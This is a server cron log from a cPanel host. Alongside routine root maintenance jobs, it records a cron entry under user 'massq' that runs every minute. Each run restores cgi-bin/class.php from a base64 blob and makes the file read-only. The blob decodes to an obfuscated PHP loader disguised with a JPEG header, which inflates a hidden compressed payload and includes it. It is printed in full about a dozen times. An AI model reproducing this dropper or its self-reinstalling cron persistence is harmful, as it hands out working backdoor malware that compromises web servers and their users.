Aug 31 11:38:01 server CROND[23342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:38:01 server CROND[23343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:38:01 server CROND[23344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:39:01 server CROND[23736]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 11:39:01 server CROND[23735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:39:01 server CROND[23738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:39:01 server CROND[23737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:40:01 server CROND[24123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:40:01 server CROND[24125]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:40:01 server CROND[24126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:40:01 server CROND[24130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:40:01 server CROND[24131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:40:01 server CROND[24129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:40:01 server CROND[24128]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:40:01 server CROND[24127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:41:01 server CROND[24979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:41:01 server CROND[24980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:41:01 server CROND[24981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:42:01 server CROND[25354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:42:01 server CROND[25355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:42:01 server CROND[25356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:42:01 server CROND[25357]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 11:43:01 server CROND[25830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:43:01 server CROND[25831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:43:01 server CROND[25832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:44:01 server CROND[26198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:44:01 server CROND[26199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:44:01 server CROND[26201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:45:01 server CROND[26580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:45:01 server CROND[26581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:45:01 server CROND[26583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:45:01 server CROND[26585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:45:01 server CROND[26582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:45:01 server CROND[26586]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:45:01 server CROND[26587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:46:01 server CROND[27405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:46:01 server CROND[27406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:46:01 server CROND[27407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:47:01 server CROND[27781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:47:01 server CROND[27782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:47:01 server CROND[27783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:48:01 server CROND[28275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:48:01 server CROND[28276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:48:01 server CROND[28284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:49:01 server CROND[28647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:49:01 server CROND[28648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:49:01 server CROND[28649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:50:01 server CROND[29062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:50:01 server CROND[29061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:50:01 server CROND[29064]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
